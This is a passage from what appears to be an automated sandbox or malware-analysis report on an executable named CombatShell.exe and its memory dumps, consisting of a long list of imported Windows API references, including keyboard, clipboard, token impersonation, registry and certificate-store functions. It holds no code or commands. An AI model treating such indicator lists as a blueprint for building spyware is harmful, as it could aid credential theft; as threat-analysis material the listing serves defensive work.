API (Indicator: "GetCurrentThreadId"; File: "CombatShell.exe") Found reference to API (Indicator: "UnmapViewOfFile"; File: "CombatShell.exe") Found reference to API (Indicator: "SetLastError"; File: "CombatShell.exe") Found reference to API (Indicator: "CreateEventW"; File: "CombatShell.exe") Found reference to API (Indicator: "HeapAlloc"; File: "CombatShell.exe") Found reference to API (Indicator: "GlobalAlloc"; File: "CombatShell.exe") Found reference to API (Indicator: "LockFileEx"; File: "CombatShell.exe") Found reference to API (Indicator: "GetFinalPathNameByHandleW"; File: "CombatShell.exe") Found reference to API (Indicator: "AddVectoredExceptionHandler"; File: "CombatShell.exe") Found reference to API (Indicator: "SetWaitableTimer"; File: "CombatShell.exe") Found reference to API (Indicator: "GetWindowsDirectoryW"; File: "CombatShell.exe") Found reference to API (Indicator: "GetNamedPipeInfo"; File: "CombatShell.exe") Found reference to API (Indicator: "SetConsoleCtrlHandler"; File: "CombatShell.exe") Found reference to API (Indicator: "GetEnvironmentStringsW"; File: "CombatShell.exe") Found reference to API (Indicator: "WaitForSingleObject"; File: "CombatShell.exe") Found reference to API (Indicator: "DeleteFileW"; File: "CombatShell.exe") Found reference to API (Indicator: "MultiByteToWideChar"; File: "CombatShell.exe") Found reference to API (Indicator: "SetConsoleTextAttribute"; File: "CombatShell.exe") Found reference to API (Indicator: "SetThreadErrorMode"; File: "CombatShell.exe") Found reference to API (Indicator: "CreateSymbolicLinkW"; File: "CombatShell.exe") Found reference to API (Indicator: "GetQueuedCompletionStatusEx"; File: "CombatShell.exe") Found reference to API (Indicator: "CancelIoEx"; File: "CombatShell.exe") Found reference to API (Indicator: "DeleteProcThreadAttributeList"; File: "CombatShell.exe") Found reference to API (Indicator: "CreateProcessW"; File: "CombatShell.exe") Found reference to API (Indicator: "CreatePipe"; File: "CombatShell.exe") Found reference to API (Indicator: "GetCurrentProcess"; File: "CombatShell.exe") Found reference to API (Indicator: "SetFileAttributesW"; File: "CombatShell.exe") Found reference to API (Indicator: "ExitProcess"; File: "CombatShell.exe") Found reference to API (Indicator: "Module32FirstW"; File: "CombatShell.exe") Found reference to API (Indicator: "LoadLibraryA"; File: "CombatShell.exe") Found reference to API (Indicator: "FindFirstFileExW"; File: "CombatShell.exe") Found reference to API (Indicator: "GlobalUnlock"; File: "CombatShell.exe") Found reference to API (Indicator: "FormatMessageW"; File: "CombatShell.exe") Found reference to API (Indicator: "WriteFile"; File: "CombatShell.exe") Found reference to API (Indicator: "TerminateProcess"; File: "CombatShell.exe") Found reference to API (Indicator: "Module32NextW"; File: "CombatShell.exe") Found reference to API (Indicator: "FindNextFileW"; File: "CombatShell.exe") Found reference to API (Indicator: "GetConsoleOutputCP"; File: "CombatShell.exe") Found reference to API (Indicator: "GetStdHandle"; File: "CombatShell.exe") Found reference to API (Indicator: "ConnectNamedPipe"; File: "CombatShell.exe") Found reference to API (Indicator: "RtlLookupFunctionEntry"; File: "CombatShell.exe") Found reference to API (Indicator: "CompareStringOrdinal"; File: "CombatShell.exe") Found reference to API (Indicator: "WriteFileEx"; File: "CombatShell.exe") Found reference to API (Indicator: "TlsGetValue"; File: "CombatShell.exe") Found reference to API (Indicator: "CreateFileW"; File: "CombatShell.exe") Found reference to API (Indicator: "GetSystemInfo"; File: "CombatShell.exe") Found reference to API (Indicator: "GlobalSize"; File: "CombatShell.exe") Found reference to API (Indicator: "GetCommandLineW"; File: "CombatShell.exe") Found reference to API (Indicator: "CreateHardLinkW"; File: "CombatShell.exe") Found reference to API (Indicator: "RtlCaptureContext"; File: "CombatShell.exe") Found reference to API (Indicator: "NtCreateFile"; File: "CombatShell.exe") Found reference to API (Indicator: "NtDeviceIoControlFile"; File: "CombatShell.exe") Found reference to API (Indicator: "NtOpenFile"; File: "CombatShell.exe") Found reference to API (Indicator: "NtWriteFile"; File: "CombatShell.exe") Found reference to API (Indicator: "RtlNtStatusToDosError"; File: "CombatShell.exe") Found reference to API (Indicator: "NtReadFile"; File: "CombatShell.exe") Found reference to API (Indicator: "CoInitializeEx"; File: "CombatShell.exe") Found reference to API (Indicator: "OleInitialize"; File: "CombatShell.exe") Found reference to API (Indicator: "CoCreateGuid"; File: "CombatShell.exe") Found reference to API (Indicator: "CoCreateInstance"; File: "CombatShell.exe") Found reference to API (Indicator: "CoUninitialize"; File: "CombatShell.exe") Found reference to API (Indicator: "GetErrorInfo"; File: "CombatShell.exe") Found reference to API (Indicator: "SysAllocStringLen"; File: "CombatShell.exe") Found reference to API (Indicator: "SafeArrayPutElement"; File: "CombatShell.exe") Found reference to API (Indicator: "SysFreeString"; File: "CombatShell.exe") Found reference to API (Indicator: "SysStringLen"; File: "CombatShell.exe") Found reference to API (Indicator: "AssocQueryStringW"; File: "CombatShell.exe") Found reference to API (Indicator: "GetWindowPlacement"; File: "CombatShell.exe") Found reference to API (Indicator: "TrackPopupMenu"; File: "CombatShell.exe") Found reference to API (Indicator: "GetCursorPos"; File: "CombatShell.exe") Found reference to API (Indicator: "LoadCursorW"; File: "CombatShell.exe") Found reference to API (Indicator: "CreateWindowExW"; File: "CombatShell.exe") Found reference to API (Indicator: "GetDC"; File: "CombatShell.exe") Found reference to API (Indicator: "OpenClipboard"; File: "CombatShell.exe") Found reference to API (Indicator: "SetWindowPlacement"; File: "CombatShell.exe") Found reference to API (Indicator: "GetRawInputData"; File: "CombatShell.exe") Found reference to API (Indicator: "ReleaseDC"; File: "CombatShell.exe") Found reference to API (Indicator: "CloseClipboard"; File: "CombatShell.exe") Found reference to API (Indicator: "SendInput"; File: "CombatShell.exe") Found reference to API (Indicator: "TranslateMessage"; File: "CombatShell.exe") Found reference to API (Indicator: "ShowWindow"; File: "CombatShell.exe") Found reference to API (Indicator: "GetForegroundWindow"; File: "CombatShell.exe") Found reference to API (Indicator: "GetKeyboardState"; File: "CombatShell.exe") Found reference to API (Indicator: "GetKeyState"; File: "CombatShell.exe") Found reference to API (Indicator: "ClipCursor"; File: "CombatShell.exe") Found reference to API (Indicator: "GetWindowRect"; File: "CombatShell.exe") Found reference to API (Indicator: "GetSystemMetrics"; File: "CombatShell.exe") Found reference to API (Indicator: "GetAsyncKeyState"; File: "CombatShell.exe") Found reference to API (Indicator: "DispatchMessageW"; File: "CombatShell.exe") Found reference to API (Indicator: "ToUnicodeEx"; File: "CombatShell.exe") Found reference to API (Indicator: "GetMenu"; File: "CombatShell.exe") Found reference to API (Indicator: "GetClipCursor"; File: "CombatShell.exe") Found reference to API (Indicator: "SetCursorPos"; File: "CombatShell.exe") Found reference to API (Indicator: "RedrawWindow"; File: "CombatShell.exe") Found reference to API (Indicator: "CreateIcon"; File: "CombatShell.exe") Found reference to API (Indicator: "GetClientRect"; File: "CombatShell.exe") Found reference to API (Indicator: "EmptyClipboard"; File: "CombatShell.exe") Found reference to API (Indicator: "DestroyIcon"; File: "CombatShell.exe") Found reference to API (Indicator: "ScreenToClient"; File: "CombatShell.exe") Found reference to API (Indicator: "ReleaseCapture"; File: "CombatShell.exe") Found reference to API (Indicator: "RegisterWindowMessageA"; File: "CombatShell.exe") Found reference to API (Indicator: "CreateIconFromResourceEx"; File: "CombatShell.exe") Found reference to API (Indicator: "GetSystemMenu"; File: "CombatShell.exe") Found reference to API (Indicator: "IsIconic"; File: "CombatShell.exe") Found reference to API (Indicator: "PeekMessageW"; File: "CombatShell.exe") Found reference to API (Indicator: "SetWindowPos"; File: "CombatShell.exe") Found reference to API (Indicator: "SetWindowTextW"; File: "CombatShell.exe") Found reference to API (Indicator: "RegisterRawInputDevices"; File: "CombatShell.exe") Found reference to API (Indicator: "ClientToScreen"; File: "CombatShell.exe") Found reference to API (Indicator: "DefWindowProcW"; File: "CombatShell.exe") Found reference to API (Indicator: "GetClipboardData"; File: "CombatShell.exe") Found reference to API (Indicator: "EnableMenuItem"; File: "CombatShell.exe") Found reference to API (Indicator: "DestroyWindow"; File: "CombatShell.exe") Found reference to API (Indicator: "GetWindowTextW"; File: "CombatShell.exe") Found reference to API (Indicator: "SetForegroundWindow"; File: "CombatShell.exe") Found reference to API (Indicator: "GetKeyboardLayout"; File: "CombatShell.exe") Found reference to API (Indicator: "AdjustWindowRectEx"; File: "CombatShell.exe") Found reference to API (Indicator: "MessageBoxW"; File: "CombatShell.exe") Found reference to API (Indicator: "SystemParametersInfoA"; File: "CombatShell.exe") Found reference to API (Indicator: "GetActiveWindow"; File: "CombatShell.exe") Found reference to API (Indicator: "SetClipboardData"; File: "CombatShell.exe") Found reference to API (Indicator: "LoadImageW"; File: "CombatShell.exe") Found reference to API (Indicator: "SetMenuDefaultItem"; File: "CombatShell.exe") Found reference to API (Indicator: "CountClipboardFormats"; File: "CombatShell.exe") Found reference to API (Indicator: "SetCursor"; File: "CombatShell.exe") Found reference to API (Indicator: "GetWindowTextLengthW"; File: "CombatShell.exe") Found reference to API (Indicator: "KillTimer"; File: "CombatShell.exe") Found reference to API (Indicator: "SetCapture"; File: "CombatShell.exe") Found reference to API (Indicator: "SetTimer"; File: "CombatShell.exe") Found reference to API (Indicator: "ShowCursor"; File: "CombatShell.exe") Found reference to API (Indicator: "getpeername"; File: "CombatShell.exe") Found reference to API (Indicator: "WSACleanup"; File: "CombatShell.exe") Found reference to API (Indicator: "WSAGetLastError"; File: "CombatShell.exe") Found reference to API (Indicator: "getsockname"; File: "CombatShell.exe") Found reference to API (Indicator: "getsockopt"; File: "CombatShell.exe") Found reference to API (Indicator: "WSASend"; File: "CombatShell.exe") Found reference to API (Indicator: "recvfrom"; File: "CombatShell.exe") Found reference to API (Indicator: "WSAStartup"; File: "CombatShell.exe") Found reference to API (Indicator: "closesocket"; File: "CombatShell.exe") Found reference to API (Indicator: "ioctlsocket"; File: "CombatShell.exe") Found reference to API (Indicator: "WSAIoctl"; File: "CombatShell.exe") Found reference to API (Indicator: "FormatMessageW"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryExA"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp") Found reference to API (Indicator: "GetErrorInfo"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "GetProcessHeap"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "HeapAlloc"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "HeapFree"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "SysAllocStringLen"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "SysFreeString"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "SysStringLen"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "RtlAdjustPrivilege"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp") Found reference to API (Indicator: "CryptAcquireContextW"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp") Found reference to API (Indicator: "CryptDestroyKey"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp") Found reference to API (Indicator: "CryptImportKey"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp") Found reference to API (Indicator: "CryptReleaseContext"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp") Found reference to API (Indicator: "DuplicateToken"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp") Found reference to API (Indicator: "GetTokenInformation"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp") Found reference to API (Indicator: "GetUserNameW"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp") Found reference to API (Indicator: "ImpersonateAnonymousToken"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "ImpersonateLoggedOnUser"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp") Found reference to API (Indicator: "OpenProcessToken"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp") Found reference to API (Indicator: "RegCloseKey"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp") Found reference to API (Indicator: "RegCreateKeyExA"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp") Found reference to API (Indicator: "RegCreateKeyExW"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp") Found reference to API (Indicator: "RegEnumKeyExW"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp") Found reference to API (Indicator: "RegEnumValueW"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp") Found reference to API (Indicator: "RegOpenKeyExW"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp") Found reference to API (Indicator: "RegQueryInfoKeyW"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp") Found reference to API (Indicator: "RegQueryValueExW"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp") Found reference to API (Indicator: "RegSetValueExA"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp") Found reference to API (Indicator: "RevertToSelf"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "CertAddCertificateContextToStore"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp") Found reference to API (Indicator: "CertAddEncodedCTLToStore"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp") Found reference to API (Indicator: "CertAddEncodedCertificateToStore"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp") Found reference to API (Indicator: "CertCloseStore"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp") Found reference to API (Indicator: "CertCreateCTLEntryFromCertificateContextProperties"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp") Found reference to API (Indicator: "CertCreateCertificateContext"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp") Found reference to API (Indicator: "CertDeleteCertificateFromStore"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp") Found reference to API (Indicator: "CertDuplicateCertificateChain"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp") Found reference to API (Indicator: "CertDuplicateCertificateContext"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp") Found reference to API (Indicator: "CertDuplicateStore"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp") Found reference to API (Indicator: "CertEnumCertificatesInStore"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp") Found reference to API (Indicator: "CertFreeCTLContext"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp") Found reference to API (Indicator: "CertFreeCertificateChain"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp") Found reference to API (Indicator: "CertFreeCertificateContext"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp") Found reference to API (Indicator: "CertGetCertificateChain"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp") Found reference to API (Indicator: "CertGetCertificateContextProperty"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp") Found reference to API (Indicator: "CertGetEnhancedKeyUsage"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp") Found reference to API (Indicator: "CertOpenStore"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp") Found reference to API (Indicator: "CertSetCertificateContextProperty"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp") Found reference to API (Indicator: "CertVerifyCertificateChainPolicy"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp") Found reference to API (Indicator: "CertVerifyTimeValidity"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp") Found reference to API (Indicator: "CryptAcquireCertificatePrivateKey"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp") Found reference to API (Indicator: "CryptBinaryToStringA"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp") Found reference to API (Indicator: "CryptDecodeObjectEx"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp") Found reference to API (Indicator: "CryptEncodeObjectEx"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp") Found reference to API (Indicator: "CryptHashCertificate"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp") Found reference to API (Indicator: "CryptMsgEncodeAndSignCTL"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp") Found reference to API (Indicator: "CryptStringToBinaryA"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp") Found reference to API (Indicator: "PFXExportCertStore"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp") Found reference to API (Indicator: "PFXImportCertStore"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp") Found reference to API (Indicator: "DeleteDC"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp") Found reference to API (Indicator: "DeleteObject"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "GetDIBits"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "GetDeviceCaps"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "GetObjectW"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "AddVectoredExceptionHandler"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "AreFileApisANSI"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp") Found reference to API (Indicator: "CancelIo"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "CancelIoEx"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "CompareStringOrdinal"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "ConnectNamedPipe"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "CopyFileExW"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "CreateDirectoryW"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "CreateEventW"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "CreateFileA"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp") Found reference to API (Indicator: "CreateFileMappingA"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "CreateFileMappingW"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp") Found reference to API (Indicator: "CreateFileW"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "CreateHardLinkW"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "CreateIoCompletionPort"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "CreateMutexW"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp") Found reference to API (Indicator: "CreateNamedPipeW"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "CreatePipe"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "CreateProcessW"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "CreateSymbolicLinkW"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "CreateThread"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "CreateToolhelp32Snapshot"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "CreateWaitableTimerExW"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "DeleteCriticalSection"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "DeleteFileA"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp") Found reference to API (Indicator: "DeleteFileW"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "DeleteProcThreadAttributeList"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "DeviceIoControl"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "DisconnectNamedPipe"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "DuplicateHandle"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "EnterCriticalSection"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "ExitProcess"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "FileTimeToSystemTime"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp") Found reference to API (Indicator: "FindClose"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "FindFirstFileExW"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "FindNextFileW"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "FlushFileBuffers"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "FlushViewOfFile"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp") Found reference to API (Indicator: "FormatMessageA"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp") Found reference to API (Indicator: "FreeEnvironmentStringsW"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "FreeLibrary"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "GetCommandLineW"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "GetComputerNameExW"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp") Found reference to API (Indicator: "GetConsoleMode"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "GetConsoleOutputCP"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentDirectoryW"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThread"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "GetDiskFreeSpaceA"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp") Found reference to API (Indicator: "GetDiskFreeSpaceW"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp") Found reference to API (Indicator: "GetEnvironmentStringsW"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "GetEnvironmentVariableW"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "GetExitCodeProcess"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "GetFileAttributesA"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp") Found reference to API (Indicator: "GetFileAttributesExW"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp") Found reference to API (Indicator: "GetFileAttributesW"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "GetFileInformationByHandle"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "GetFileInformationByHandleEx"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "GetFileSize"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp") Found reference to API (Indicator: "GetFileType"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "GetFinalPathNameByHandleW"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "GetFullPathNameA"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp") Found reference to API (Indicator: "GetFullPathNameW"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameW"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleA"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "GetNamedPipeInfo"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "GetNativeSystemInfo"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp") Found reference to API (Indicator: "GetOverlappedResult"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "GetProcessId"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 